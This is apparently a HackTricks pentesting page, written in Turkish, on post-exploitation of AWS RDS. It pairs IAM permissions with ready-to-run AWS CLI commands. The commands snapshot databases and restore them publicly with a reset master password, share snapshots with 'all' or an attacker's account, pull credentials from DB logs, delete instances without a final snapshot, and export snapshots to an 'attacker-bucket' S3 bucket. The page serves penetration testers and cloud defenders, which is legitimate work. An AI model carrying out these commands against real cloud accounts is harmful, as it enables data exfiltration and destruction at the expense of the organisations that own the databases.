3.7 KiB
AWS - RDS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
RDS
Daha fazla bilgi için kontrol edin:
{{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}}
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Eğer saldırganın yeterli izinleri varsa, bir DB'yi herkese açık hale getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık bir DB oluşturabilir.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Bu izinlere sahip bir saldırgan bir DB'nin anlık görüntüsünü oluşturabilir ve bunu herkese açık hale getirebilir. Ardından, bu anlık görüntüden kendi hesabında bir DB oluşturabilir.
Eğer saldırgan rds:CreateDBSnapshot iznine sahip değilse, yine de diğer oluşturulmuş anlık görüntüleri herkese açık hale getirebilir.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
rds:DownloadDBLogFilePortion iznine sahip bir saldırgan, bir RDS örneğinin günlük dosyalarının kısımlarını indirebilir. Hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilirse, saldırgan bu bilgileri yetkilerini artırmak veya yetkisiz eylemler gerçekleştirmek için kullanabilir.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Olası Etki: Sızdırılmış kimlik bilgileri kullanarak hassas bilgilere erişim veya yetkisiz işlemler.
rds:DeleteDBInstance
Bu izinlere sahip bir saldırgan mevcut RDS örneklerine DoS saldırısı yapabilir.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Olası etki: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
rds:StartExportTask
[!NOT] TODO: Test
Bu izne sahip bir saldırgan, bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Olası etki: Dışa aktarılan anlık görüntüdeki hassas verilere erişim.
{{#include ../../../banners/hacktricks-training.md}}